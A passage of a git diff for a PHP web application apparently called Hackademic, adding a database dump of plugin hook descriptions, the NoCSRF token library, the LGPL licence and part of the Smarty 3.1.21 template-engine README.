CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `actions` +-- + +LOCK TABLES `actions` WRITE; +/*!40000 ALTER TABLE `actions` DISABLE KEYS */; +INSERT INTO `actions` VALUES ('after_create_article','Called when an article has been inserted into the database.','$id the id of the new row,\n$params the params to the query','admin/mode/class.ArticleBackend.php'),('after_create_challenge','Called when a challenge has been inserted into the database.','$id the id of the new row,\n$params the params to the query','admin/model/class.ChallengeBackend.php'),('after_create_challenge_attempt','Called when a challenge attempt has been inserted into the database.','$id the id of the new row,\n$params the params to the query','model/common/class.ChallengeAttempts.php'),('after_create_class','Called when a class has been inserted into the database.','$id the id of the new row,\n$params the params to the query','admin/model/class.Classes.php'),('after_create_class_challenge','Called when a class challenge has been inserted into the database.','$id the id of the new row,\n$params the params to the query','admin/mode/class.ClassChallenges.php'),('after_create_user','Called when a user has been inserted into the database.','$id the id of the new row,\n$params the params to the query','model/common/class.User.php'),('after_create_user_has_challenge_token','Called when a \"user has challenge token\"\" has been inserted into the database.\"','$id the id of the new row,\n$params the params to the query','model/common/class.UserHasChallengeToken.php'),('after_delete_article','Called when an article has been deleted from the database.','$params the params to the query','admin/mode/class.ArticleBackend.php'),('after_delete_challenge','Called when a challenge has been deleted from the database.','$params the params to the query','admin/model/class.ChallengeBackend.php'),('after_delete_challenge_attempt','Called when a challenge attempt has been deleted from the database.','$params the params to the query','model/common/class.ChallengeAttempts.php'),('after_delete_class','Called when a class has been deleted from the database.','$params the params to the query','admin/model/class.Classes.php'),('after_delete_class_challenge','Called when a class challenge has been deleted from the database.','$params the params to the query','admin/mode/class.ClassChallenges.php'),('after_delete_class_membership','Called when a class membership has been deleted from the database.','$params the params to the query','admin/mode/class.ClassMemberships.php'),('after_delete_user','Called when a user has been deleted from the database.','$params the params to the query','model/common/class.User.php'),('after_read_article','Called when a article has been read from the database.','$params the params to the query','model/common/class.Article.php'),('after_read_challenge','Called when a challenge has been read from the database.','$params the params to the query','model/common/class.Challenge.php'),('after_read_challenge_attempt','Called when a challenge attempt has been read from the database.','$params the params to the query','model/common/class.ChallengeAttempts.php'),('after_read_class','Called when a class has been read from the database.','$params the params to the query','admin/model/class.Classes.php'),('after_read_class_challenge','Called when a class challenge has been read from the database.','$params the params to the query','admin/mode/class.ClassChallenges.php'),('after_read_class_membership','Called when a class membership has been read from the database.','$params the params to the query','admin/mode/class.ClassMemberships.php'),('after_read_user','Called when a user has been read from the database.','$params the params to the query','model/common/class.User.php'),('after_read_user_challenge','Called when a user challenge has been read from the database.','$params the params to the query','admin/model/class.UserChallenges.php'),('after_read_user_has_challenge_token','Called when a \"user has challenge token\"\" has been read from the database.\"','$params the params to the query','model/common/class.UserHasChallengeToken.php'),('after_update_article','Called when an article has been updated in the database.','$params the params to the query','admin/mode/class.ArticleBackend.php'),('after_update_challenge','Called when a challenge has been updated in the database.','$params the params to the query','admin/model/class.ChallengeBackend.php'),('after_update_class','Called when a class has been updated in the database.','$params the params to the query','admin/model/class.Classes.php'),('after_update_class_challenge','Called when a class challenge has been updated in the database.','$params the params to the query','admin/mode/class.ClassChallenges.php'),('after_update_user','Called when a user has been updated in the database.','$params the params to the query','model/common/class.User.php'),('after_update_user_has_challenge_token','Called when a \"user has challenge token\"\" has been updated in the database.\"','$params the params to the query','model/common/class.UserHasChallengeToken.php'),('before_create_article','Called when an article is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ArticleBackend.php'),('before_create_challenge','Called when a challenge is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.ChallengeBackend.php'),('before_create_challenge_attempt','Called when a challenge attempt is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','model/common/class.ChallengeAttempts.php'),('before_create_class','Called when a class is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.Classes.php'),('before_create_class_challenge','Called when a class challenge is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassChallenges.php'),('before_create_user','Called when a user is about to be inserted into the database.','$sql the base sql query,\n$params the params to the query','model/common/class.User.php'),('before_create_user_has_challenge_token','Called when a \"user has challenge token\"\" is about to be inserted into the database.\"','$sql the base sql query,\n$params the params to the query','model/common/class.UserHasChallengeToken.php'),('before_delete_article','Called when an article is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ArticleBackend.php'),('before_delete_challenge','Called when a challenge is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.ChallengeBackend.php'),('before_delete_challenge_attempt','Called when a challenge attempt is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.ChallengeAttempts.php'),('before_delete_class','Called when a class is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.Classes.php'),('before_delete_class_challenge','Called when a class challenge is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassChallenges.php'),('before_delete_class_membership','Called when a class membership is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassMemberships.php'),('before_delete_user','Called when a user is about to be deleted from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.User.php'),('before_read_article','Called when a article is about to be read from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.Article.php'),('before_read_challenge','Called when a challenge is about to be read from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.Challenge.php'),('before_read_challenge_attempt','Called when a challenge attempt is about to be read from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.ChallengeAttempts.php'),('before_read_class','Called when a class is about to be read from the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.Classes.php'),('before_read_class_challenge','Called when a class challenge is about to be read from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassChallenges.php'),('before_read_class_membership','Called when a class membership is about to be read from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassMemberships.php'),('before_read_user','Called when a user is about to be read from the database.','$sql the base sql query,\n$params the params to the query','model/common/class.User.php'),('before_read_user_challenge','Called when a user challenge is about to be read from the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.UserChallenges.php'),('before_read_user_has_challenge_token','Called when a \"user has challenge token\"\" is about to be read from the database.\"','$sql the base sql query,\n$params the params to the query','model/common/class.UserHasChallengeToken.php'),('before_update_article','Called when an article is about to be updated in the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ArticleBackend.php'),('before_update_challenge','Called when a challenge is about to be updated in the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.ChallengeBackend.php'),('before_update_class','Called when a class is about to be updated in the database.','$sql the base sql query,\n$params the params to the query','admin/model/class.Classes.php'),('before_update_class_challenge','Called when a class challenge is about to be updated in the database.','$sql the base sql query,\n$params the params to the query','admin/mode/class.ClassChallenges.php'),('before_update_user','Called when a user is about to be updated in the database.','$sql the base sql query,\n$params the params to the query','model/common/class.User.php'),('before_update_user_has_challenge_token','Called when a \"user has challenge token\"\" is about to be updated in the database.\"','$sql the base sql query,\n$params the params to the query','model/common/class.UserHasChallengeToken.php'),('disable_plugin','Called for each plugin that is disabled','$plugin the name and path to the plugin file','admin/controller/class.OptionsController.php'),('disable_user_theme','Called when a user theme has been disabled','$theme the name and path of the theme','admin/controller/class.OptionsController.php'),('enable_plugin','Called for each plugin that is enabled','$plugin the name and path to the plugin file','admin/controller/class.OptionsController.php'),('enable_user_theme','Called when a user theme has been enabled','$theme the name and path of the theme','admin/controller/class.OptionsController.php'),('generate_view','Called when a page is about to be passed to Smarty for presentation.','$smarty the smarty object','controller/class.HackademicController.php'),('show_add_article','Called when the add article page is about to be displayed','$smarty the smarty object','admin/controller/class.AddArticleController.php'),('show_add_challenge','Called when the add challenge page is about to be displayed','$smarty the smarty object','admin/controller/class.AddChallengeController.php'),('show_add_class','Called when the add class page is about to be displayed','$smarty the smarty object','admin/controller/class.AddClassController.php'),('show_add_user','Called when the add user page is about to be displayed','$smarty the smarty object','admin/controller/class.AddUserController.php'),('show_admin_login','Called when the admin login page is to be displayed.','$smarty the smarty object','admin/controller/class.LoginController.php'),('show_article_manager','Called when the article manager is about to be displayed.','$smarty the smarty object','admin/controller/class.ArticleManagerController.php'),('show_challenge_list','Called when the challenge list is about to be displayed.','$smarty the smarty object','controller/class.ChallengeListController.php'),('show_challenge_manager','Called when the challenge manager is about to be displayed.','$smarty the smarty object','admin/controller/class.ChallengeManagerController.php'),('show_class_challenges','Called when the class challenges is about to be displayed.','$smarty the smarty object','admin/controller/class.ClassChallengesController.php'),('show_class_manager','Called when the class manager is about to be displayed.','$smarty the smarty object','admin/controller/class.ClassManagerController.php'),('show_class_memberships','Called when the class memberships is about to be displayed.','$smarty the smarty object','admin/controller/class.ClassMembershipsController.php'),('show_dashboard','Called when the dashboard is about to be displayed.','$smarty the smarty object','admin/controller/class.DashboardController.php'),('show_edit_article','Called when the edit article page is about to be displayed.','$smarty the smarty object','admin/controller/class.EditArticleController.php'),('show_edit_challenge','Called when the edit challenge page is about to be displayed.','$smarty the smarty object','admin/controller/class.EditChallengeController.php'),('show_edit_code','Called when the edit code page is about to be displayed.','$smarty the smarty object','admin/controller/class.EditCodeController.php'),('show_edit_user','Called when the edit user page is about to be displayed.','$smarty the smarty object','admin/controller/class.EditUserController.php'),('show_forgot_password','Called when the forgot password page is to be displayed.','$smarty the smarty object','controller/class.ForgotPasswordController.php'),('show_landing_page','Called when the landing page is to be displayed.','$smarty the smarty object','controller/class.LandingPageController.php'),('show_login','Called when the login page is to be displayed.','$smarty the smarty object','controller/class.LoginController.php'),('show_main_login','Called when the main login page is to be displayed.','$smarty the smarty object','controller/class.MainLoginController.php'),('show_progress_report','Called when the progress report page is to be displayed.','$smarty the smarty object','controller/class.ProgressReportController.php'),('show_rankings','Called when the rankings page is to be displayed.','$smarty the smarty object','controller/class.RankingsController.php'),('show_read_article','Called when an article page is to be displayed.\n','$smarty the smarty object','controller/class.ReadArticleController.php'),('show_register_user','Called when the register user page is to be displayed.','$smarty the smarty object','controller/class.RegisterUserController.php'),('show_reset_password','Called when the reset password page is to be displayed.','$smarty the smarty object','controller/class.ResetPasswordController.php'),('show_show_challenge','Called when the show challenge page is to be displayed.','$smarty the smarty object','controller/class.ShowChallengeController.php'),('show_show_class','Called when the show class page is to be displayed.','$smarty the smarty object','admin/controller/class.ShowClassController.php'),('show_try_challenge','Called when the try challenge page is to be displayed.','$smarty the smarty object','controller/class.TryChallengeController.php'),('show_user_manager','Called when the user manager page is to be displayed.','$smarty the smarty object','admin/controller/class.UserManagerController.php'); +/*!40000 ALTER TABLE `actions` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2013-09-01 19:14:50 diff --git a/extlib/NoCSRF/nocsrf.php b/extlib/NoCSRF/nocsrf.php new file mode 100755 index 00000000..5f233983 --- /dev/null +++ b/extlib/NoCSRF/nocsrf.php @@ -0,0 +1,119 @@ + + * Licensed under the MIT license + * + * @author Thibaut Despoulain + * @version 1.0 + */ +class NoCSRF +{ + + protected static $doOriginCheck = false; + + /** + * Check CSRF tokens match between session and $origin. + * Make sure you generated a token in the form before checking it. + * + * @param String $key The session and $origin key where to find the token. + * @param Mixed $origin The object/associative array to retreive the token data from (usually $_POST). + * @param Boolean $throwException (Facultative) TRUE to throw exception on check fail, FALSE or default to return false. + * @param Integer $timespan (Facultative) Makes the token expire after $timespan seconds. (null = never) + * @param Boolean $multiple (Facultative) Makes the token reusable and not one-time. (Useful for ajax-heavy requests). + * + * @return Boolean Returns FALSE if a CSRF attack is detected, TRUE otherwise. + */ + public static function check( $key, $origin, $throwException=false, $timespan=null, $multiple=false ) + { + if ( !isset( $_SESSION[ 'csrf_' . $key ] ) ) + if($throwException) + throw new Exception( 'Missing CSRF session token.' ); + else + return false; + + if ( !isset( $origin[ $key ] ) ) + if($throwException) + throw new Exception( 'Missing CSRF form token.' ); + else + return false; + + // Get valid token from session + $hash = $_SESSION[ 'csrf_' . $key ]; + + // Free up session token for one-time CSRF token usage. + if(!$multiple) + $_SESSION[ 'csrf_' . $key ] = null; + + // Origin checks + if( self::$doOriginCheck && sha1( $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] ) != substr( base64_decode( $hash ), 10, 40 ) ) + { + if($throwException) + throw new Exception( 'Form origin does not match token origin.' ); + else + return false; + } + + // Check if session token matches form token + if ( $origin[ $key ] != $hash ) + if($throwException) + throw new Exception( 'Invalid CSRF token.' ); + else + return false; + + // Check for token expiration + if ( $timespan != null && is_int( $timespan ) && intval( substr( base64_decode( $hash ), 0, 10 ) ) + $timespan < time() ) + if($throwException) + throw new Exception( 'CSRF token has expired.' ); + else + return false; + + return true; + } + + /** + * Adds extra useragent and remote_addr checks to CSRF protections. + */ + public static function enableOriginCheck() + { + self::$doOriginCheck = true; + } + + /** + * CSRF token generation method. After generating the token, put it inside a hidden form field named $key. + * + * @param String $key The session key where the token will be stored. (Will also be the name of the hidden field name) + * @return String The generated, base64 encoded token. + */ + public static function generate( $key ) + { + $extra = self::$doOriginCheck ? sha1( $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] ) : ''; + // token generation (basically base64_encode any random complex string, time() is used for token expiration) + $token = base64_encode( time() . $extra . self::randomString( 32 ) ); + // store the one-time token in session + $_SESSION[ 'csrf_' . $key ] = $token; + + return $token; + } + + /** + * Generates a random string of given $length. + * + * @param Integer $length The string length. + * @return String The randomly generated string. + */ + protected static function randomString( $length ) + { + $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijqlmnopqrtsuvwxyz0123456789'; + $max = strlen( $seed ) - 1; + + $string = ''; + for ( $i = 0; $i < $length; ++$i ) + $string .= $seed{intval( mt_rand( 0.0, $max ) )}; + + return $string; + } + +} +?> diff --git a/extlib/Smarty-3.1.21/COPYING.lib b/extlib/Smarty-3.1.21/COPYING.lib new file mode 100755 index 00000000..02bbb60b --- /dev/null +++ b/extlib/Smarty-3.1.21/COPYING.lib @@ -0,0 +1,165 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. \ No newline at end of file diff --git a/extlib/Smarty-3.1.21/README b/extlib/Smarty-3.1.21/README new file mode 100755 index 00000000..6367f030 --- /dev/null +++ b/extlib/Smarty-3.1.21/README @@ -0,0 +1,574 @@ +Smarty 3.1.21 + +Author: Monte Ohrt +Author: Uwe Tews + +AN INTRODUCTION TO SMARTY 3 + +NOTICE FOR 3.1 release: + +Please see the SMARTY_3.1_NOTES.txt file that comes with the distribution. + +NOTICE for 3.0.5 release: + +Smarty now follows the PHP error_reporting level by default. If PHP does not mask E_NOTICE and you try to access an unset template variable, you will now get an E_NOTICE warning. To revert to the old behavior: + +$smarty->error_reporting = E_ALL & ~E_NOTICE; + +NOTICE for 3.0 release: + +IMPORTANT: Some API adjustments have been made between the RC4 and 3.0 release. +We felt it is better to make these now instead of after a 3.0 release, then have to +immediately deprecate APIs in 3.1. Online documentation has been updated +to reflect these changes. Specifically: + +---- API CHANGES RC4 -> 3.0 ---- + +$smarty->register->* +$smarty->unregister->* +$smarty->utility->* +$samrty->cache->* + +Have all been changed to local method calls such as: + +$smarty->clearAllCache() +$smarty->registerFoo() +$smarty->unregisterFoo() +$smarty->testInstall() +etc. + +Registration of function, block, compiler, and modifier plugins have been +consolidated under two API calls: + +$smarty->registerPlugin(...) +$smarty->unregisterPlugin(...) + +Registration of pre, post, output and variable filters have been +consolidated under two API calls: + +$smarty->registerFilter(...) +$smarty->unregisterFilter(...) + +Please refer to the online documentation for all specific changes: + +http://www.smarty.net/documentation + +---- + +The Smarty 3 API has been refactored to a syntax geared +for consistency and modularity. The Smarty 2 API syntax is still supported, but +will throw a deprecation notice. You can disable the notices, but it is highly +recommended to adjust your syntax to Smarty 3, as the Smarty 2 syntax must run +through an extra rerouting wrapper. + +Basically, all Smarty methods now follow the "fooBarBaz" camel case syntax. Also, +all Smarty properties now have getters and setters. So for example, the property +$smarty->cache_dir can be set with $smarty->setCacheDir('foo/') and can be +retrieved with $smarty->getCacheDir(). + +Some of the Smarty 3 APIs have been revoked such as the "is*" methods that were +just duplicate functions of the now available "get*" methods. + +Here is a rundown of the Smarty 3 API: + +$smarty->fetch($template, $cache_id = null, $compile_id = null, $parent = null) +$smarty->display($template, $cache_id = null, $compile_id = null, $parent = null) +$smarty->isCached($template, $cache_id = null, $compile_id = null) +$smarty->createData($parent = null) +$smarty->createTemplate($template, $cache_id = null, $compile_id = null, $parent = null) +$smarty->enableSecurity() +$smarty->disableSecurity() +$smarty->setTemplateDir($template_dir) +$smarty->addTemplateDir($template_dir) +$smarty->templateExists($resource_name) +$smarty->loadPlugin($plugin_name, $check = true) +$smarty->loadFilter($type, $name) +$smarty->setExceptionHandler($handler) +$smarty->addPluginsDir($plugins_dir) +$smarty->getGlobal($varname = null) +$smarty->getRegisteredObject($name) +$smarty->getDebugTemplate() +$smarty->setDebugTemplate($tpl_name) +$smarty->assign($tpl_var, $value = null, $nocache = false) +$smarty->assignGlobal($varname, $value = null, $nocache = false) +$smarty->assignByRef($tpl_var, &$value, $nocache = false) +$smarty->append($tpl_var, $value = null, $merge = false, $nocache = false) +$smarty->appendByRef($tpl_var, &$value, $merge = false) +$smarty->clearAssign($tpl_var) +$smarty->clearAllAssign() +$smarty->configLoad($config_file, $sections = null) +$smarty->getVariable($variable, $_ptr = null, $search_parents = true, $error_enable = true) +$smarty->getConfigVariable($variable) +$smarty->getStreamVariable($variable) +$smarty->getConfigVars($varname = null) +$smarty->clearConfig($varname = null) +$smarty->getTemplateVars($varname = null, $_ptr = null, $search_parents = true) +$smarty->clearAllCache($exp_time = null, $type = null) +$smarty->clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null) + +$smarty->registerPlugin($type, $tag, $callback, $cacheable = true, $cache_attr = array()) + +$smarty->registerObject($object_name, $object_impl, $allowed = array(), $smarty_args = true, $block_methods = array()) + +$smarty->registerFilter($type, $function_name) +$smarty->registerResource($resource_type, $function_names) +$smarty->registerDefaultPluginHandler($function_name) +$smarty->registerDefaultTemplateHandler($function_name) + +$smarty->unregisterPlugin($type, $tag) +$smarty->unregisterObject($object_name) +$smarty->unregisterFilter($type, $function_name) +$smarty->unregisterResource($resource_type) + +$smarty->compileAllTemplates($extension = '.tpl', $force_compile = false, $time_limit = 0, $max_errors = null) +$smarty->clearCompiledTemplate($resource_name = null, $compile_id = null, $exp_time = null) +$smarty->testInstall() + +// then all the getters/setters, available for all properties. Here are a few: + +$caching = $smarty->getCaching(); // get $smarty->caching +$smarty->setCaching(true); // set $smarty->caching +$smarty->setDeprecationNotices(false); // set $smarty->deprecation_notices +$smarty->setCacheId($id); // set $smarty->cache_id +$debugging = $smarty->getDebugging(); // get $smarty->debugging + + +FILE STRUCTURE + +The Smarty 3 file structure is similar to Smarty 2: + +/libs/ + Smarty.class.php +/libs/sysplugins/ + internal.* +/libs/plugins/ + function.mailto.php + modifier.escape.php + ... + +A lot of Smarty 3 core functionality lies in the sysplugins directory; you do +not need to change any files here. The /libs/plugins/ folder is where Smarty +plugins are located. You can add your own here, or create a separate plugin +directory, just the same as Smarty 2. You will still need to create your own +/cache/, /templates/, /templates_c/, /configs/ folders. Be sure /cache/ and +/templates_c/ are writable. + +The typical way to use Smarty 3 should also look familiar: + +require('Smarty.class.php'); +$smarty = new Smarty; +$smarty->assign('foo','bar'); +$smarty->display('index.tpl'); + + +However, Smarty 3 works completely different on the inside. Smarty 3 is mostly +backward compatible with Smarty 2, except for the following items: + +*) Smarty 3 is PHP 5 only. It will not work with PHP 4. +*) The {php} tag is disabled by default. Enable with $smarty->allow_php_tag=true. +*) Delimiters surrounded by whitespace are no longer treated as Smarty tags. + Therefore, { foo } will not compile as a tag, you must use {foo}. This change + Makes Javascript/CSS easier to work with, eliminating the need for {literal}. + This can be disabled by setting $smarty->auto_literal = false; +*) The Smarty 3 API is a bit different. Many Smarty 2 API calls are deprecated + but still work. You will want to update your calls to Smarty 3 for maximum + efficiency. + + +There are many things that are new to Smarty 3. Here are the notable items: + +LEXER/PARSER +============ + +Smarty 3 now uses a lexing tokenizer for its parser/compiler. Basically, this +means Smarty has some syntax additions that make life easier such as in-template +math, shorter/intuitive function parameter options, infinite function recursion, +more accurate error handling, etc. + + +WHAT IS NEW IN SMARTY TEMPLATE SYNTAX +===================================== + +Smarty 3 allows expressions almost anywhere. Expressions can include PHP +functions as long as they are not disabled by the security policy, object +methods and properties, etc. The {math} plugin is no longer necessary but +is still supported for BC. + +Examples: +{$x+$y} will output the sum of x and y. +{$foo = strlen($bar)} function in assignment +{assign var=foo value= $x+$y} in attributes +{$foo = myfunct( ($x+$y)*3 )} as function parameter +{$foo[$x+3]} as array index + +Smarty tags can be used as values within other tags. +Example: {$foo={counter}+3} + +Smarty tags can also be used inside double quoted strings. +Example: {$foo="this is message {counter}"} + +You can define arrays within templates. +Examples: +{assign var=foo value=[1,2,3]} +{assign var=foo value=['y'=>'yellow','b'=>'blue']} +Arrays can be nested. +{assign var=foo value=[1,[9,8],3]} + +There is a new short syntax supported for assigning variables. +Example: {$foo=$bar+2} + +You can assign a value to a specific array element. If the variable exists but +is not an array, it is converted to an array before the new values are assigned. +Examples: +{$foo['bar']=1} +{$foo['bar']['blar']=1} + +You can append values to an array. If the variable exists but is not an array, +it is converted to an array before the new values are assigned. +Example: {$foo[]=1} + +You can use a PHP-like syntax for accessing array elements, as well as the +original "dot" notation. +Examples: +{$foo[1]} normal access +{$foo['bar']} +{$foo['bar'][1]} +{$foo[$x+$x]} index may contain any expression +{$foo[$bar[1]]} nested index +{$foo[section_name]} smarty section access, not array access! + +The original "dot" notation stays, and with improvements. +Examples: +{$foo.a.b.c} => $foo['a']['b']['c'] +{$foo.a.$b.c} => $foo['a'][$b]['c'] with variable index +{$foo.a.{$b+4}.c} => $foo['a'][$b+4]['c'] with expression as index +{$foo.a.{$b.c}} => $foo['a'][$b['c']] with nested index + +note that { and } are used to address ambiguties when nesting the dot syntax. + +Variable names themselves can be variable and contain expressions. +Examples: +$foo normal variable +$foo_{$bar} variable name containing other variable +$foo_{$x+$y} variable name containing expressions +$foo_{$bar}_buh_{$blar} variable name with multiple segments +{$foo_{$x}} will output the variable $foo_1 if $x has a value of 1. + +Object method chaining is implemented. +Example: {$object->method1($x)->method2($y)} + +{for} tag added for looping (replacement for {section} tag): +{for $x=0, $y=count($foo); $x<$y; $x++} .... {/for} +Any number of statements can be used separated by comma as the first +inital expression at {for}. + +{for $x = $start to $end step $step} ... {/for}is in the SVN now . +You can use also +{for $x = $start to $end} ... {/for} +In this case the step value will be automaticall 1 or -1 depending on the start and end values. +Instead of $start and $end you can use any valid expression. +Inside the loop the following special vars can be accessed: +$x@iteration = number of iteration +$x@total = total number of iterations +$x@first = true on first iteration +$x@last = true on last iteration + + +The Smarty 2 {section} syntax is still supported. + +New shorter {foreach} syntax to loop over an array. +Example: {foreach $myarray as $var}...{/foreach} + +Within the foreach loop, properties are access via: + +$var@key foreach $var array key +$var@iteration foreach current iteration count (1,2,3...) +$var@index foreach current index count (0,1,2...) +$var@total foreach $var array total +$var@first true on first iteration +$var@last true on last iteration + +The Smarty 2 {foreach} tag syntax is still supported. + +NOTE: {$bar[foo]} still indicates a variable inside of a {section} named foo. +If you want to access an array element with index foo, you must use quotes +such as {$bar['foo']}, or use the dot syntax {$bar.foo}. + +while block tag is now implemented: +{while $foo}...{/while} +{while $x lt 10}...{/while} + +Direct access to PHP functions: +Just as you can use PHP functions as modifiers directly, you can now access +PHP functions directly, provided they are permitted by security settings: +{time()} + +There is a new {function}...{/function} block tag to implement a template function. +This enables reuse of code sequences like a plugin function. It can call itself recursively. +Template function must be called with the new {call name=foo...} tag. + +Example: + +Template file: +{function name=menu level=0} +
    + {foreach $data as $entry} + {if is_array($entry)} +
  • {$entry@key}
  • + {call name=menu data=$entry level=$level+1} + {else} +
  • {$entry}
  • + {/if} + {/foreach} +
